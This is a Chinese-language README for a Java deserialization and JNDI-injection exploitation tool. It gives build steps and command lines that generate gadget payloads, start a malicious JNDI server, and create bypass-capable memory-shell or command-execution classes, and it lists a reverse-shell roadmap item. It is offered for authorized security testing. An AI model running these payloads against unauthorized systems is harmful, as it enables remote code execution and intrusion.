ysogate是一个功能强大的Java安全测试工具,主要用于生成各种Java反序列化gadget payload和JNDI注入利用。该工具支持多种绕过技术,适用于高版本JDK环境,并提供片段化gadget生成和组合功能。
- ✅ 生成多种Java反序列化gadget payload
- ✅ 支持JNDI/LDAP/RMI/JRMP等多种利用方式
- ✅ 灵活的命令行界面,支持多种操作模式
- ✅ 可扩展的架构,便于添加新的gadget和攻击向量
- ✅ 支持多种高版本JDK绕过方式
- ✅ 支持扩展利用方式,如内存马、回显、代理等
- ✅ 提供恶意类生成功能,支持多种中间件/框架
ysogate/
├── README.md
├── docs/
│ ├── PayloadMode.md
│ ├── JNDIMode.md
│ └── GenMode.md
├── src/
│ └── main/
│ └── java/
│ └── com/h2tg/ysogate/
└── pom.xml
# 克隆项目
git clone https://github.com/H4cking2theGate/ysogate.git
# 进入项目目录
cd ysogate
# 使用Maven构建项目
mvn clean package
# 构建完成后,可在target目录找到可执行jar包
ls target/ysogate-*-all.jarysogate支持三种操作模式:
- Payload Mode (
-m payload) - 生成反序列化payload - JNDI Mode (
-m jndi) - 启动JNDI服务器 - Gen Mode (
-m gen) - 生成恶意类
# 查看帮助信息
java -jar ysogate-[version]-all.jar -h
# 查看各模式的详细帮助
java -jar ysogate-[version]-all.jar -m payload -h
java -jar ysogate-[version]-all.jar -m jndi -h
java -jar ysogate-[version]-all.jar -m gen -h生成自定义的反序列化payload,例如输出base64编码的payload:
java -jar ysogate-[version]-all.jar -m payload -g Jackson1 -p calc -b64更多用法请参考 PayloadMode
在本地运行恶意的JNDI服务器:
java -jar ysogate-[version]-all.jar -m jndi -i 0.0.0.0 -onlyRef更多用法请参考 JNDIMode
生成恶意类,例如生成Spring MVC的命令执行回显:
java -jar ysogate-[version]-all.jar -m gen -t springmvc -s CmdExec -name org.springframework.expression.Evil -bypass更多用法请参考 GenMode
ysogate支持多种反序列化gadgets,包括但不限于:
- CommonsBeanutils系列
- CommonsCollections系列
- C3P0系列
- Fastjson系列
- Jackson系列
- Spring系列
- Hibernate系列
- 以及更多...
运行以下命令查看完整的gadget列表:
java -jar ysogate-[version]-all.jar -m payload -h- 在
src/main/java/com/h2tg/ysogate/payloads/gadgets/目录下创建新的gadget类 - 实现
CommandObjectPayload接口 - 添加必要的依赖注解
- 重新构建项目
- 在
src/main/java/com/h2tg/ysogate/template/目录下创建对应中间件的子目录 - 创建新的template类
- 重新构建项目
- 基础的反序列化生成payload
- 增加JNDI/LDAP/RMI/JRMP等利用方式
- 绕过trustSerialData
- 完善第三方库的gadget
- 添加中间件回显
- 在加载字节码方面增加扩展攻击如回显,内存马,代理等
- 补充RMI反序列化的利用
- 防护绕过方面的补充,增加OverlongUTF8/脏数据等绕过
- 反序列化反弹shell优化
- LDAPS协议支持
使用本工具进行安全测试时,请确保:
- 已获得目标系统的明确授权
- 仅在授权范围内进行测试
- 遵守相关法律法规
本项目仅面向安全研究与学习,禁止任何非法用途。
如您在使用本项目的过程中存在任何非法行为,您需自行承担相应后果。
除非您已充分阅读、完全理解并接受本协议,否则,请您不要使用本项目。